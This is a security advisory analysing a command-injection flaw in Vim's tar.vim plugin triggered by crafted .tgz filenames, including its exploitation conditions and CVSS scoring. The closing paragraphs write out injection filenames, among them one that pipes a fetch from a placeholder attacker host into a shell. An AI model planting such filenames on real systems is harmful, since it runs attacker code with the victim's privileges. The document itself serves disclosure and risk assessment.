Vim EUVD-2026-30542

Exploitation requires the victim to open a .tgz or .tar.gz archive file with a specially crafted filename in Vim on a Unix-like operating system where the tar.vim plugin is enabled (default configuration). The user must either use the :e command to open the archive or use Vim's netrw file browser to navigate to the malicious file. The filename must survive filesystem operations-some environments or transfer protocols may sanitize or reject filenames containing shell metacharacters (quotes, semicolons, dollar signs, percent signs) before the file reaches the victim. The vulnerability does NOT work with plain .tar archives or other compression formats, only .tgz/.tar.gz that trigger the affected gunzip/gzip code path. Exploitation is limited by user interaction requirements-victims must consciously choose to open the suspicious file, and many users would notice unusual characters in filenames during normal file operations. Does not affect Windows systems as the vulnerable Unix gunzip/gzip commands are not invoked. Systems with the tar plugin disabled via vimrc configuration are immune.

Despite CWE-78 classification and command injection capability, real-world risk is constrained by multiple factors that create a low practical exploitation profile. CVSS 3.6 (Low) accurately reflects limited impact: AV:L requires local file access, AC:H indicates complex exploitation conditions (user must specifically open a maliciously-named .tgz archive in Vim), UI:R mandates victim interaction, and S:U confines impact to the user's privilege context. The attack cannot be remotely delivered or automated at scale. EPSS data not provided, but similar UI-dependent local injection flaws typically score under 1% exploitation probability. No CISA KEV listing confirms no evidence of active exploitation. The GitHub test case (';%$(touch pwned)'.tgz) demonstrates proof-of-concept but requires social engineering to trick users into opening archives with suspicious filenames-most users would notice quotes and shell metacharacters in a filename before opening. The confidentiality and integrity impacts are Low with no availability impact (C:L/I:L/A:N), meaning attackers gain limited code execution within an already-compromised user session. This is more a defense-in-depth issue than a critical remote exploit. Primary risk exists in automated archive processing pipelines or shared development environments where users routinely open untrusted archives, but even there, the filename must survive filesystem operations that may sanitize special characters.

An attacker creates a malicious .tgz archive with a crafted filename like ';$(malicious_command)'.tgz or '%:!curl attacker.com|sh'.tgz and delivers it to a target user via email attachment, file share, or software repository. When the victim opens the file in Vim (either by explicitly launching 'vim malicious.tgz' or through Vim's file browser), the tar.vim plugin activates and calls tar#Vimuntar() to decompress the archive. The unsanitized filename triggers Vim's cmdline-special expansion before shell execution, causing the embedded shell commands to execute with the user's privileges. The test case in the commit diff demonstrates this with ';%$(touch pwned)'.tgz creating a proof-of-concept file. Attackers could exfiltrate SSH keys, install backdoors, or pivot to other systems accessible to the victim's account.